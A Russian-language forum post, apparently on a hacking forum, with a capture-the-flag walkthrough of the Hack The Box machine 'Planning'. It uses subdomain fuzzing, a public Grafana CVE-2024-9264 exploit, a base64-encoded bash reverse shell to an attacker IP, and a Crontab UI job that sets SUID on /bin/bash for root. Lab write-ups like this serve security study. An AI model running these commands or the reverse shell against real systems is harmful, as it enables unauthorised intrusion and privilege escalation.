• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Повышаем привилегии через Crontab UI

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как повышать привилегии в Linux через создание задачи. Но прежде проэксплуатируем уязвимость в Grafana, получим RCE в Docker, совершим побег из контейнера и получим учетные данные от Crontab UI.
Наша конечная цель — получение прав суперпользователя на машине Planning с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.68 planning.htb
На этот раз, помимо IP-адреса машины, нам также предоставляют учетные данные пользователя. Однако пока неясно, для какого сервиса.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 9.6p1;
  • 80 — веб‑сервер Nginx 1.24.0.
Область тестирования очень маленькая, начинаем с просмотра веб‑сайта.

Главная страница сайта

Точка входа​

На странице contact.php находим адрес электронной почты, а значит, домен planning.htb валидный.

Содержимое страницы contact.php
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию директорий с помощью feroxbuster.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -d — глубина сканирования;
  • -t — количество потоков;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся).
Задаем все параметры и запускаем сканер:

feroxbuster -u Для просмотра ссылки Войди или Зарегистрируйся -d 1 -t 128 -w php_files_common_5476.txt
Результат сканирования файлов с помощью feroxbuster
Полезных файлов и каталогов не насканировали, поэтому перейдем к поиску новых поддоменов. Для этого можно использовать Для просмотра ссылки Войди или Зарегистрируйся. Параметры похожие:

  • -u — URL;
  • -H — HTTP-заголовок;
  • -w — словарь;
  • -t — количество потоков.
ffuf -u Для просмотра ссылки Войди или Зарегистрируйся -H 'Host: FUZZ.planning.htb' -w subdomains-top1million-110000.txt -t 128
Результат сканирования поддоменов

В вывод попадают все варианты из списка, а значит, нужно использовать фильтры, например по коду ответа (параметр -fc).

ffuf -u [URL]http://planning.htb[/URL] -H 'Host: FUZZ.planning.htb' -w subdomains-top1million-110000.txt -t 128 -fc 301
Для просмотра ссылки Войди или Зарегистрируйся
Находим еще один поддомен — grafana, а значит, обновляем запись в файле /etc/hosts и смотрим сервис через браузер.

10.10.11.68 planning.htb grafana.planning.htb
Страница авторизации Grafana
Выданные учетные данные позволяют авторизоваться в Grafana.

Главная страница Grafana

Точка опоры​

Первым делом стоит проверить, есть ли для обнаруженной версии сервиса Grafana готовые эксплоиты. Идем искать в Google.

Для просмотра ссылки Войди или Зарегистрируйся
Узнаём, что у этой версии Grafana есть задокументированная уязвимость — Для просмотра ссылки Войди или Зарегистрируйся. Экспериментальная функция SQL Expressions в Grafana позволяет выполнять запросы duckdb, содержащие пользовательский ввод. Эти запросы недостаточно очищаются перед передачей в duckdb, что приводит к уязвимости, связанной с внедрением команд. На GitHub уже лежит Для просмотра ссылки Войди или Зарегистрируйся. У нас есть учетные данные администратора, поэтому попробуем выполнить команду id.

python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c id [URL]http://grafana.planning.htb[/URL]
Результат выполнения команды
На сайте Для просмотра ссылки Войди или Зарегистрируйся генерируем реверс‑шелл.

Reverse Shells Generator
Теперь запускаем листенер:

pwncat-cs -lp 4321
И с помощью эксплоита выполняем реверс‑шелл Bash (он закодирован в Base64). Так получаем сессию от имени root. Но похоже, в контейнере Docker.

python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTEvNDMyMSAwPiYx | base64 -d | bash' [URL]http://grafana.planning.htb[/URL]
Выполнение команды Сессия пользователя root

Продвижение​

Теперь нам необходимо собрать информацию, которая может помочь в выходе из контейнера. Для поисков подходят скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Просматривая вывод, находим переменные окружения, в которых есть учетные данные.

Переменные окружения
С найденными учетными данными логинимся по SSH и забираем первый флаг.

Флаг пользователя

Локальное повышение привилегий​

Нам удалось выйти в основную систему, так что нужно снова провести разведку. Загружаем LinPeas, снова сканируем и смотрим, что найдется.

Для локального хоста прослушивается порт 8000, что типично для веб‑серверов.

Прослушиваемые порты
На хосте есть файл базы данных crontab.db, который к тому же активно изменяется.

Найденные базы данных Последние измененные файлы
Просмотрим содержимое базы данных. В команде задачи Grafana backup находим пароль.

Содержимое базы данных
Проверим найденное веб‑приложение. Для этого нам понадобится прокинуть порт 8000 на свой хост с помощью SSH.

ssh -L 8000:127.0.0.1:8000 [EMAIL]enzo@10.10.11.68[/EMAIL]
В результате весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Нас встречает Crontab UI, где получается авторизоваться с найденным паролем.

Главная страница Cronjobs
Создаем свою задачу в crontab. Задача будет назначать S-бит файлу командной оболочки /bin/bash. Спустя некоторое время проверяем права на файл bash.

Создание задачи
Права на файл bash
Теперь подробней: когда атрибут suid установлен файлу, обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса.

/bin/bash -p
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here